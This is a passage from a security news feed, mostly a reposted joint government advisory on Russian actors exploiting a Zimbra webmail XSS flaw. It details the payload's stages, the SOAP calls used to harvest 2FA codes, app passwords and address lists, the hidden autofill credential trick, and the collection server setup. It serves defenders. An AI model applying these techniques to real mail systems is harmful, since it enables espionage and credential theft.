Das Rust-basierte Implant msaRAT startet Chrome oder Edge im headless Modus und spricht darüber das Chrome DevTools Protocol an. Für den Datenkanal nutzt es WebRTC, wobei die Weiterleitung über […]</p>
<div><a href="https://www.it-boltwise.de/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chrome-edge-und-webrtc-tunnel.html">... den vollständigen Artikel <strong>»Chaos-Ransomware nutzt msaRAT: C2 läuft über Headless Chrome/Edge und WebRTC-Tunnel«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chrome-edge-und-webrtc-tunnel.html">Chaos-Ransomware nutzt msaRAT: C2 läuft über Headless Chrome/Edge und WebRTC-Tunnel</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
